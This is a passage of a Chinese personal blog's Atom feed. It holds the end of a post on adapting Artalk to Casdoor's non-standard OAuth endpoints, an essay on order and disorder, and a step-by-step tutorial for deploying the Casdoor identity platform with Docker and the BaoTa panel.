title="总结"></a>总结</h1><p>其实这基本上就能解决几乎所有非标接口的对标问题了。当然它没法解决的是如果连查询参数的名字都不一样的情况，好在至少对于Artalk和Casdoor这两个系统来说没有抽象到这种地步。但是我觉得只要是OAuth的话参数基本都固定的（希望别真有那样的）<br>只需要知道使用的SSO系统它提供的接口对应着哪个标准接口就好说，直接像这样“赛博飞线”来解决这个问题。（不过我还是希望能给用户多点选择，不要总是硬编码了）</p>]]>
    </content>
    <id>https://www.b23.kim/details/ce4b38f27c8d.html</id>
    <link href="https://www.b23.kim/details/ce4b38f27c8d.html"/>
    <published>2026-01-28T17:54:15.000Z</published>
    <summary>
      <![CDATA[<p>众所周知，Artalk支持标准的OAuth接口的社交登录方式。但是有些奇怪的SSO提供的接口可能不是标准的OAuth，甚至Artalk和提供SSO的软件都不支持修改自己读取的路径或写入的路径。（点名Casdoor）<br>灵感来源：<a href="https://blog]]>
    </summary>
    <title>Artalk强行兼容非标准OAuth接口</title>
    <updated>2026-01-28T19:35:51.627Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="后现代随笔" scheme="https://www.b23.kim/categories/%E5%90%8E%E7%8E%B0%E4%BB%A3%E9%9A%8F%E7%AC%94/"/>
    <content>
      <![CDATA[<div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=114971241351714&bvid=BV1s2tVziEk6&cid=34163983713&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>刚才看到一个非常壮观的视频，里面有个评论非常深入人心：<strong>有序只是世界的偶然，无序是世界的本身</strong>。<br>这个观点是所有系统的本质。或者说，整个宇宙就是一个庞大的系统。</p><p>在宇宙中，每一个天体都沿着自己固定的轨道运行，这是有序。那么凡事都会有至少一个“例外”，举一个夸张的例子吧：如果突然飞过来一个很大的石头把这个天体砸了，而且刚好使它脱离了原先的轨道呢？我知道这个例子看起来很夸张，但在无限的时间尺度下这几乎是必然的。因为你也说不清宇宙环境最终会演化成什么样，在“无限”这个概念下，空间无限大，时间无限长，情况无限多。这样来看它原先“有序”的样子只是在这个过程里偶然发生的。在这种情况下，“有序”这个概念就是“只缘身在此山中”了。从宏观角度来看，世界是无序的。</p><p>在计算机世界里，每一台电脑都有序地执行预定的任务，这叫有序。但是计算机的世界本质上是逻辑的世界，是逻辑就会存在疏漏。我们一般管它叫“业务逻辑漏洞”，换句话说就是“出bug了”。最终就会归于这种无序的状态，因为它引入了例外这一个打破原有秩序的东西。最终人们通过代码补丁避免无序性，回归原有“有序”的状态。这样来看甚至就连“秩序”本身都是无序的，换句话说“无序”是“秩序”的一部分。</p><p>就拿这个视频本身来说吧，Minecraft的地形生成器算法在一定范围内看似有序地生成了正常的地形。但是坐标尺度是相对意义上的“无限”，最终生成出来的实际地形会因为超出了“有序”的范围，最终实际生成出来的地形相比正常地形而言是一种无序。但是这个例外地形本身却回归了另一种“有序”，那就是无论哪个世界生成器种子，出现这种“无序”的情况是类似的。也就是它产生了另一个偶然的“有序”，最终都会诞生类似的壮观景象。</p><p>“无序”本身可以被理性和科学解释，它具备“可解性”。无序不代表没逻辑，能被逻辑解释的东西都应当存在。“逻辑的不完备性”是世界无序的根源，例如著名的“理发师悖论”：</p><blockquote><p>有一位理发师在广告上声称：“将为本城所有不给自己刮胡子的人刮胡子，我也只给这些人刮胡子。”但有一天，这位理发师从镜子里看见自己的胡子长了，那他能不能给他自己刮胡子呢?如果他不给自己刮，他就属于“不给自己刮胡子的人”，他就要给自己刮胡子，而如果他给自己刮胡子呢?他又属于“给自己刮胡子的人”，他就不该给自己刮胡子了。</p></blockquote><p>但是又因为没逻辑的悖论又是有逻辑的事物的例外情况，那么它本身实质上又代表了“无序”。<br>这印证了我之前的想法：“世界是个巨大的 <em>漏勺</em> ”（我一般会用“漏勺”这个比喻义来描述漏洞多或漏洞大）</p><p>那么“无序”本身又该如何解释呢？我觉得它实质上又在讲“没有规律的事”，因为所有事物的走向无法被预测，所以宇宙的规律本身具有“不可解释性”，所以世界本身就是无序的。<br>以上所有的所有，最终都归于：<strong>熵增定律</strong></p><hr><p>扩展阅读：<br>1.有关熵增定律：<a href="https://zhuanlan.zhihu.com/p/286065502">https://zhuanlan.zhihu.com/p/286065502</a><br>2.相关概念前人的思考：<a href="https://github.com/holyshell/Books/blob/master/%5B%E5%A4%B1%E6%8E%A7-%E5%85%A8%E4%BA%BA%E7%B1%BB%E7%9A%84%E6%9C%80%E7%BB%88%E5%91%BD%E8%BF%90%E5%92%8C%E7%BB%93%E5%B1%80%5D.%E5%87%AF%E6%96%87%C2%B7%E5%87%AF%E5%88%A9.pdf">https://github.com/holyshell/Books/blob/master/[失控-全人类的最终命运和结局].凯文·凯利.pdf</a></p>]]>
    </content>
    <id>https://www.b23.kim/details/f4feefbb0991.html</id>
    <link href="https://www.b23.kim/details/f4feefbb0991.html"/>
    <published>2026-01-27T13:14:42.000Z</published>
    <summary>
      <![CDATA[<div align=center class="aspect-ratio">
<iframe src="//player.bilibili.com/player.html?isOutside=true&aid=114971241351714&bvid=BV1s2tVziEk6&]]>
    </summary>
    <title>有序只是世界的偶然，无序才是世界本身</title>
    <updated>2026-01-27T14:35:55.448Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<blockquote><p>Casdoor 是一个开源的统一身份认证平台，定位类似于“通行证中心”。通过标准化的协议和接口，把分散在不同系统中的用户认证集中起来管理，让登录这件事变得更简单。<br>——清羽飞扬</p></blockquote><h1 id="下载、配置文件与安装"><a href="#下载、配置文件与安装" class="headerlink" title="下载、配置文件与安装"></a>下载、配置文件与安装</h1><p>这个是它的官方文档：<a href="https://www.casdoor.org/zh/docs/overview">https://www.casdoor.org/zh/docs/overview</a> （目前汉化还不完全，而且还有很多不准确的机翻）<br>可以看到它提供了三种安装方式：<br>1.二进制安装包，从Github Release下载：<a href="https://github.com/casdoor/casdoor/releases">https://github.com/casdoor/casdoor/releases</a><br>2.Docker容器镜像：<a href="https://hub.docker.com/r/casbin/casdoor">https://hub.docker.com/r/casbin/casdoor</a><br>3.K8s Helm：<a href="https://www.casdoor.org/zh/docs/basic/try-with-helm">https://www.casdoor.org/zh/docs/basic/try-with-helm</a></p><h2 id="拉取镜像"><a href="#拉取镜像" class="headerlink" title="拉取镜像"></a>拉取镜像</h2><p>本文将采用Docker容器的方式来安装，配合宝塔面板。依旧是1panel镜像。<br>下载镜像：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull docker.1panel.live/casbin/casdoor</span><br></pre></td></tr></table></figure><p>下载完成后保留备用。</p><h2 id="数据目录设置与数据库配置"><a href="#数据目录设置与数据库配置" class="headerlink" title="数据目录设置与数据库配置"></a>数据目录设置与数据库配置</h2><p>下一步，创建所需目录（在宝塔“终端”中运行）:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /www/wwwroot/casdoor/config</span><br><span class="line"><span class="built_in">mkdir</span> -p /www/wwwroot/casdoor/uploads</span><br><span class="line"><span class="built_in">chmod</span> -R 755 /www/wwwroot/casdoor</span><br><span class="line"><span class="built_in">chown</span> -R 1000:1000 /www/wwwroot/casdoor  <span class="comment"># 重要！Docker容器使用uid 1000</span></span><br></pre></td></tr></table></figure><p>然后在<code>/www/wwwroot/casdoor/config/</code>目录下创建<code>app.conf</code>文件<br>示例配置文件：<br><a href="https://github.com/casdoor/casdoor/blob/master/conf/app.conf">https://github.com/casdoor/casdoor/blob/master/conf/app.conf</a><br>把它放在<code>/www/wwwroot/casdoor/config/</code>目录下。<br>官方示例配置文件的完整内容如下（我加了注释，建议去官方仓库复制然后从这里对照着改）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">appname = casdoor</span><br><span class="line">httpport = 8000 #对外访问的端口号</span><br><span class="line">runmode = dev #改成prod以启用生产环境</span><br><span class="line">copyrequestbody = true</span><br><span class="line">driverName = mysql #要使用的数据库</span><br><span class="line">dataSourceName = root:123456@tcp(localhost:3306)/ #目标数据库需要的凭据</span><br><span class="line">dbName = casdoor #数据库名称</span><br><span class="line">tableNamePrefix =</span><br><span class="line">showSql = false </span><br><span class="line">redisEndpoint =</span><br><span class="line">defaultStorageProvider =</span><br><span class="line">isCloudIntranet = false</span><br><span class="line">authState = &quot;casdoor&quot;</span><br><span class="line">socks5Proxy = &quot;127.0.0.1:10808&quot;</span><br><span class="line">verificationCodeTimeout = 10</span><br><span class="line">initScore = 0</span><br><span class="line">logPostOnly = true</span><br><span class="line">isUsernameLowered = false</span><br><span class="line">origin = #后端访问域名，这个很关键。出现Invalid origin时配置下这个</span><br><span class="line">originFrontend = #前端页面的访问地址，前后端都通过一个域名进来的话和上面配置相同的内容即可</span><br><span class="line">staticBaseUrl = &quot;https://cdn.casbin.org&quot;</span><br><span class="line">isDemoMode = false</span><br><span class="line">batchSize = 100</span><br><span class="line">enableErrorMask = false</span><br><span class="line">enableGzip = true</span><br><span class="line">inactiveTimeoutMinutes =</span><br><span class="line">ldapServerPort = 389</span><br><span class="line">ldapsCertId = &quot;&quot;</span><br><span class="line">ldapsServerPort = 636</span><br><span class="line">radiusServerPort = 1812</span><br><span class="line">radiusDefaultOrganization = &quot;built-in&quot;</span><br><span class="line">radiusSecret = &quot;secret&quot;</span><br><span class="line">quota = &#123;&quot;organization&quot;: -1, &quot;user&quot;: -1, &quot;application&quot;: -1, &quot;provider&quot;: -1&#125;</span><br><span class="line">logConfig = &#123;&quot;adapter&quot;:&quot;file&quot;, &quot;filename&quot;: &quot;logs/casdoor.log&quot;, &quot;maxdays&quot;:99999, &quot;perm&quot;:&quot;0770&quot;&#125;</span><br><span class="line">initDataNewOnly = false</span><br><span class="line">initDataFile = &quot;./init_data.json&quot;</span><br><span class="line">frontendBaseDir = &quot;../cc_0&quot;</span><br></pre></td></tr></table></figure><p>根据实际情况修改以上配置<br>参见配置内容描述：<a href="https://www.casdoor.org/zh/docs/basic/configuration/#backend-configuration-appconf">https://www.casdoor.org/zh/docs/basic/configuration/#backend-configuration-appconf</a><br>最关键的就是数据库的部分了，Casdoor需要一个数据库来存放验证用户等数据</p><p>Casdoor 支持MySQL、MSSQL、SQLite3和PostgreSQL。 默认情况下，Casto使用MySQL。<br>对于不同类型的数据库，<code>driverName</code>、<code>dataSourceName</code>各不相同，根据官方文档的说明来配置<br><strong>MySQL</strong><br>Casdoor将会把users，nodes和topics信息存储在一个名为casdoor的MySQL数据库中。 如果数据库不存在，则需手动创建。 可以在以下位置指定数据库连接字符串</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">driverName = mysql</span><br><span class="line">dataSourceName = root:123456@tcp(localhost:3306)/</span><br><span class="line">dbName = casdoor</span><br></pre></td></tr></table></figure><p><strong>PostgreSQL</strong><br>在运行 Casdoor 之前，您需要手动为 PostgreSQL 准备一个数据库，因为当使用 xorm 连接 Postgres 时，Casdoor 要求必须选择一个具体的数据库。<br>假设你已经准备好了一个名为<code>casdoor</code>的数据库，你应该像这样指定<code>app.conf</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">driverName = postgres</span><br><span class="line">dataSourceName = user=postgres password=postgres host=localhost port=5432 sslmode=disable dbname=casdoor</span><br><span class="line">dbName = casdoor</span><br></pre></td></tr></table></figure><p><strong>SQLite3</strong><br>要配置SQLite3，您应该像这样指定app.conf：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">driverName = sqlite</span><br><span class="line">dataSourceName = file:casdoor.db?cache=shared</span><br><span class="line">dbName = casdoor</span><br></pre></td></tr></table></figure><p>参考：<a href="https://www.casdoor.org/zh/docs/basic/server-installation#%E9%85%8D%E7%BD%AE%E6%95%B0%E6%8D%AE%E5%BA%93">https://www.casdoor.org/zh/docs/basic/server-installation#%E9%85%8D%E7%BD%AE%E6%95%B0%E6%8D%AE%E5%BA%93</a></p><p>因为我们使用的是宝塔面板，而且宝塔面板自带一个MySQL数据库，并且备份和维护都很好管理。所以这里就直接用MySQL了。或者你也可以连接远程数据库。<br>操作流程<br>进入宝塔面板 → <strong>数据库</strong> → <strong>添加数据库</strong><br>数据库名：<strong>casdoor</strong><br>用户名：<strong>casdoor_user</strong>（自定义）<br>密码：生成强密码（建议16位以上，防止暴力破解）<br>访问权限：<strong>本地服务器</strong>（127.0.0.1）<br>（建议同时开启自带备份，防止数据损坏）</p><p>最终配置文件相关字段的内容如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">driverName = mysql</span><br><span class="line">dataSourceName = casdoor_user:你的强密码@tcp(127.0.0.1:3306)/</span><br><span class="line">dbName = casdoor</span><br></pre></td></tr></table></figure><p>设置完成后直接保存文件</p><div class="note warning flat"><p>注意：如果你是后创建的app.conf文件，别忘了再运行一次这个命令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chown</span> -R 1000:1000 /www/wwwroot/casdoor</span><br></pre></td></tr></table></figure><p>把这个新建文件的所有者设置也包含进去</p></div><h2 id="运行Casdoor"><a href="#运行Casdoor" class="headerlink" title="运行Casdoor"></a>运行Casdoor</h2><p>最后我们终于可以开始启动容器了：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --name casdoor \</span><br><span class="line">  --network host \</span><br><span class="line">  -v /www/wwwroot/casdoor/config:/conf \</span><br><span class="line">  -v /www/wwwroot/casdoor/uploads:/uploads \</span><br><span class="line">  --restart unless-stopped \</span><br><span class="line">  docker.1panel.live/casbin/casdoor:latest</span><br></pre></td></tr></table></figure><div class="note warning flat"><p>注意：别忘记去防火墙放行端口！默认为8000端口，可在配置文件中修改</p></div><p>如果你运行以后它就自动暂停并且再也起不来了的话，重点检查下挂载的文件路径是否有问题，以及数据库是否在容器内访问的到。另外就是文件所有者是否是1000，是否有可读可写权限啥的。<br>最终的状态一直是<code>运行中</code>的话，那么恭喜你。成功绕过一堆坑把项目跑起来了。</p><div class="note info flat"><p>如果你看不到容器日志的话，将<code>近3天</code>改为<code>全部</code>即可。这在出现异常时尤为有用</p></div><p>去 服务器公网IP 或 绑定的域名 下的<strong>8000</strong>端口 进入Casdoor的后台页面，完成下一步设置</p><h1 id="后台配置"><a href="#后台配置" class="headerlink" title="后台配置"></a>后台配置</h1><p>进入后台，使用默认的管理员账号登录后台。用户名为<code>admin</code>，密码<code>123</code>。</p><div class="note danger flat"><p>数据安全提醒：默认的管理员账号极其不安全，强烈建议第一次登录时就从设置里把它改掉，换成强密码。</p></div><h2 id="安装向导"><a href="#安装向导" class="headerlink" title="安装向导"></a>安装向导</h2><p>第一次进入会有一个向导，里面有三页内容。<br><strong>Welcome to casdoor</strong><br>You can learn more about the use of CasDoor at <a href="https://casdoor.org/">https://casdoor.org/</a>.<br>1/3<br>（后面就不说了反正是告诉你面板里面都是什么内容）<br>这里是没有汉化的，我截取里面有用的部分尝试让AI翻译下：<br><strong>Organization List</strong><br>组织是 Casdoor 的基本单位，用于管理用户和应用程序。如果用户登录到一个组织，那么他可以访问该组织所属的所有应用程序，而无需再次登录。<br>Organization is the basic unit of Casdoor, which manages users and applications. If a user signed in to an organization, then he can access all applications belonging to the organization without signing in again.<br><strong>Group List</strong><br>在群组列表页面中，您可以看到组织中的所有群组。<br>In the groups list pages, you can see all the groups in organizations.<br><strong>User List</strong><br>作为身份验证平台，Casdoor能够管理用户。<br>As an authentication platform, Casdoor is able to manage users.<br>1/2<br><strong>Import users</strong><br>您可以通过上传包含用户信息的XLSX文件来添加新用户或更新现有的Casdoor用户。<br>You can add new users or update existing Casdoor users by uploading a XLSX file of user information.<br>2/2<br><strong>Application List</strong><br>如果您想使用Casdoor为您的Web应用程序提供登录服务，您可以将它们作为Casdoor应用程序添加。用户可以访问其组织中的所有应用程序，而无需重复登录。<br>If you want to use Casdoor to provide login service for your web Web APPs, you can add them as Casdoor applications. Users can access all applications in their organizations without login twice.<br><strong>Provider List</strong><br>我们有6种类型的提供者：OAuth提供者、短信提供者、邮件提供者、存储提供者、支付提供者、验证码提供者。<br>We have 6 kinds of providers:OAuth providers、SMS Providers、Email Providers、Storage Providers、Payment Provider、Captcha Provider.<br>1/2<br><strong>Provider Add</strong><br>您必须先将提供者添加到应用程序中，然后才能在您的应用程序中使用该提供者。<br>You must add the provider to application, then you can use the provider in your application<br>2/2<br><strong>Resource List</strong><br>您可以在Casdoor中上传资源。在上传资源之前，您需要先配置一个存储提供者。请参阅存储提供者相关文档。<br>You can upload resources in casdoor. Before upload resources, you need to configure a storage provider. Please see Storage Provider.<br>1/2<br><strong>Upload Resource</strong><br>用户可以将文件和图片等资源上传到先前配置的云存储中。<br>Users can upload resources such as files and images to the previously configured cloud storage.<br>2/2<br><strong>Role List</strong><br>每个用户可能拥有多个角色。您可以在用户的个人资料中查看用户的角色。<br>Each user may have multiple roles. You can see the user’s roles on the user’s profile.<br><strong>Permission List</strong><br>与单个Casdoor组织关联的所有用户都会在该组织的应用程序之间共享，因此这些用户可以访问这些应用程序。有时您可能希望限制用户对特定应用程序的访问权限，或者限制其对某个应用程序中特定资源的访问权限。在这种情况下，您可以使用由Casbin实现的权限（Permission）功能。<br>All users associated with a single Casdoor organization are shared between the organization’s applications and therefore have access to the applications. Sometimes you may want to restrict users’ access to certain applications, or certain resources in a certain application. In this case, you can use Permission implemented by Casbin.<br>1/3<br><strong>Permission Add</strong><br>在Casdoor Web界面中，您可以在模型配置项中为您的组织添加一个模型，并在权限配置项中为您的组织添加一个策略。<br>In the Casdoor Web UI, you can add a Model for your organization in the Model configuration item, and a Policy for your organization in the Permission configuration item.<br>2/3<br><strong>Permission Upload</strong><br>通过Casbin在线编辑器，您可以获得适合您使用场景的Model和Policy文件。您可以通过Casdoor Web界面轻松地将Model文件导入到Casdoor中，供内置的Casbin使用。<br>With Casbin Online Editor, you can get Model and Policy files suitable for your usage scenarios. You can easily import the Model file into Casdoor through the Casdoor Web UI for use by the built-in Casbin.<br>3/3<br><strong>Model List</strong><br>模型定义了您的权限策略结构，以及请求如何匹配这些权限策略及其效果。然后您可以在权限中使用该模型。<br>Model defines your permission policy structure, and how requests should match these permission policies and their effects. Then you can user model in Permission.<br><strong>Adapter List</strong><br>Casdoor支持通过用户界面连接适配器并管理策略规则。在Casbin中，策略存储是通过适配器实现的（也称为Casbin的中间件）。Casbin用户可以使用适配器从存储中加载策略规则，或者将策略规则保存到存储中。<br>Casdoor supports using the UI to connect the adapter and manage the policy rules. In Casbin, the policy storage is implemented as an adapter (aka middleware for Casbin). A Casbin user can use an adapter to load policy rules from a storage, or save policy rules to it.<br><strong>Enforcer List</strong><br>除了用于请求执行权限控制的API接口外，Casdoor还提供其他帮助外部应用程序获取权限策略信息的接口，这些接口也在此列出。<br>In addition to the API interface for requesting enforcement of permission control, Casdoor also provides other interfaces that help external applications obtain permission policy information, which is also listed here.<br><strong>Token List</strong><br>Casdoor基于OAuth构建。令牌即用户的OAuth令牌，您可以在此列表中获取访问令牌。<br>Casdoor is based on OAuth. Tokens are users’ OAuth token.You can get access token in this list.<br><strong>Session List</strong><br>您可以在此列表中获取会话ID。<br>You can get Session ID in this list.<br><strong>Session List</strong><br>您可以添加您想要销售的产品（或服务）。接下来将告诉您如何添加产品。<br>You can add the product (or service) you want to sell. The following will tell you how to add a product<br><strong>Payment List</strong><br>支付成功后，您可以在”支付”中查看产品的交易信息，例如组织、用户、购买时间、产品名称等。<br>After the payment is successful, you can see the transaction information of the products in Payment, such as organization, user, purchase time, product name, etc.<br><strong>Plan List</strong><br>计划（Plan）描述了应用程序功能的列表，每个功能都有自己的名称和价格。计划的功能依赖于Casdoor角色及其权限集。这使得可以独立于命名和价格来描述计划的功能。例如：计划的价格可能会根据国家或日期而有所不同。<br>Plan describe list of application’s features with own name and price. Plan features depends on Casdoor role with set of permissions.That allow to describe plan’s features independ on naming and price. For example: plan may has diffrent prices depends on county or date.<br><strong>Price List</strong><br>Casdoor可以通过计划、定价和订阅用作订阅管理系统。<br>Casdoor can be used as subscription management system via plan, pricing and subscription.<br><strong>Subscription List</strong><br>订阅功能有助于管理用户选择的计划，从而轻松控制对应用程序功能的访问权限。<br>Subscription helps to manage user’s selected plan that make easy to control application’s features access.</p><p>管理工具那栏没啥好说的，这里为了节省篇幅跳过了</p><p><strong>Syncer List</strong><br>Casdoor在用户表中存储用户。当您计划使用Casdoor作为认证平台时，无需担心将应用程序的用户数据迁移到Casdoor中。Casdoor提供了同步器（syncer）来帮助您快速将用户数据同步到Casdoor。<br>Casdoor stores users in user table. Don’t worry about migrating your application user data into Casdoor, when you plan to use Casdoor as an authentication platform. Casdoor provides syncer to quickly help you sync user data to Casdoor.<br><strong>Webhook List</strong><br>事件系统允许您构建集成，这些集成可以订阅 Casdoor 上的特定事件。当其中一个事件被触发时，我们将向配置的 URL 发送一个 POST JSON 有效载荷。应用程序解析该 JSON 有效载荷并执行相应的钩子函数。事件包括注册、登录、注销、更新用户等，这些都存储在记录的操作字段中。事件系统可用于根据用户操作更新外部事务。<br>Event systems allow you to build integrations, which subscribe to certain events on Casdoor. When one of those event is triggered, we’ll send a POST json payload to the configured URL. The application parsed the json payload and carry out the hooked function. Events consist of signup, login, logout, update users, which are stored in the action field of the record. Event systems can be used to update an external issue from users.</p><p>到这里就没了。</p><h2 id="创建组织"><a href="#创建组织" class="headerlink" title="创建组织"></a>创建组织</h2><p>不同组织之间的用户是相互独立的，要开始，我们需要创建一个组织。<br>目标：用户管理 -&gt; 组织</p><div class="note danger flat"><p>数据安全提醒：不要直接使用自带的<code>built-in</code>组织，默认所有用户都是管理员。否则配置不当容易引发安全问题</p></div><p><strong>默认情况下</strong>，你可以在 <code>你的域名:8000/login/组织名</code> 中使用特定组织来登录/注册！（注意不要用成“显示名称”了）<br>如果要隐藏端口号请自行反向代理 </p><h2 id="创建应用"><a href="#创建应用" class="headerlink" title="创建应用"></a>创建应用</h2><p>光有组织是不行的，因为你还缺少这个组织使用到的验证方式。如果只有组织并且它没有绑定应用的话创建用户时会提示没有应用。<br>目标：身份认证 -&gt; 应用</p><p>创建应用时，需要在Basic选项卡下的“组织”选项中指定绑定到的组织。<br>然后你可以在里面配置是否允许用户同时登录多个会话（是否顶号式，如果不允许将会类似QQ一样只能登录一个会话）以及登录超时次数等</p><p>在UI那一块，建议只保留你需要用户填的项目，避免无效字段在前端页面中展示。设置“组织选择模式”为选择时，在登录之前会让用户选择要登录到的目标组织。<br>Provider选项卡中你可以选择添加由其他平台提供的自定义登录方式。详见<code>创建提供商</code></p><h2 id="创建证书"><a href="#创建证书" class="headerlink" title="创建证书"></a>创建证书</h2><p>你需要一个证书实现登录时的端到端加密。<br>目标：身份认证 -&gt; 证书</p><p>公钥可以对外暴露，提供给其他应用验证签名。而私钥必须在服务器里不能泄露</p><h2 id="创建提供商"><a href="#创建提供商" class="headerlink" title="创建提供商"></a>创建提供商</h2><p>提供商即提供登录验证服务的厂商，国内常见的有<code>QQ登录</code>、<code>B站</code>(不对个人开放)、<code>飞书</code>等。<br>你可以设置多种不同的登录验证方式，例如OAuth、Email、Captcha、Web3等<br>目标：身份认证  -&gt; 提供商</p><p>填写目标开放平台提供的密钥、ck等信息后保存即可。<br>每种验证方式需独立创建，一个应用可以绑定多个提供商。</p><p>关于提供商和不同提供商的接入教程：<a href="https://www.casdoor.org/zh/docs/provider/overview">https://www.casdoor.org/zh/docs/provider/overview</a></p><h2 id="需要注意的点"><a href="#需要注意的点" class="headerlink" title="需要注意的点"></a>需要注意的点</h2><p>casdoor的所有回调地址均为你后台地址域名的<code>/callback</code>路径。例如你的casdoor公网域名是outh.domain.com，那么回调给casdoor的地址应该是<a href="https://outh.domain.com/callback">https://outh.domain.com/callback</a></p>]]>
    </content>
    <id>https://www.b23.kim/details/808a9f471a72.html</id>
    <link href="https://www.b23.kim/details/808a9f471a72.html"/>
    <published>2026-01-25T18:00:14.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>Casdoor 是一个开源的统一身份认证平台，定位类似于“通行证中心”。通过标准化的协议和接口，把分散在不同系统中的用户认证集中起来管理，让登录这件事变得更简单。<br>——清羽飞扬</p>
</blockquote>
<h1 id="下载、配置文]]>
    </summary>
    <title>开源统一身份认证平台Casdoor的安装与部署</title>
    <updated>2026-01-27T17:41:02.647Z</updated>
  </entry>
</feed>
